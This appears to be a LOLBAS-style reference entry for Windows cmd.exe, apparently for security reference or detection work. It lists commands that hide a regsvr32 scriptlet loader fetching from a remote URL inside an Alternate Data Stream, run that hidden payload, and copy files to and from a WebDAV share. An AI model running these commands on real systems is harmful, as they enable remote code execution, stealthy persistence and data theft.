The command-line interpreter in Windows
Add content to an Alternate Data Stream (ADS).
cmd.exe /c echo regsvr32.exe ^/s ^/u ^/i:{REMOTEURL:.sct} ^scrobj.dll > {PATH}:payload.bat
Can be used to evade defensive countermeasures or to hide as a persistence mechanism
Execute payload.bat stored in an Alternate Data Stream (ADS).
cmd.exe - < {PATH}:payload.bat
Can be used to evade defensive countermeasures or to hide as a persistence mechanism
Downloads a specified file from a WebDAV server to the target file.
type {PATH_SMB} > {PATH_ABSOLUTE}
Download/copy a file from a WebDAV server
Uploads a specified file to a WebDAV server.
type {PATH_ABSOLUTE} > {PATH_SMB}
Upload a file to a WebDAV server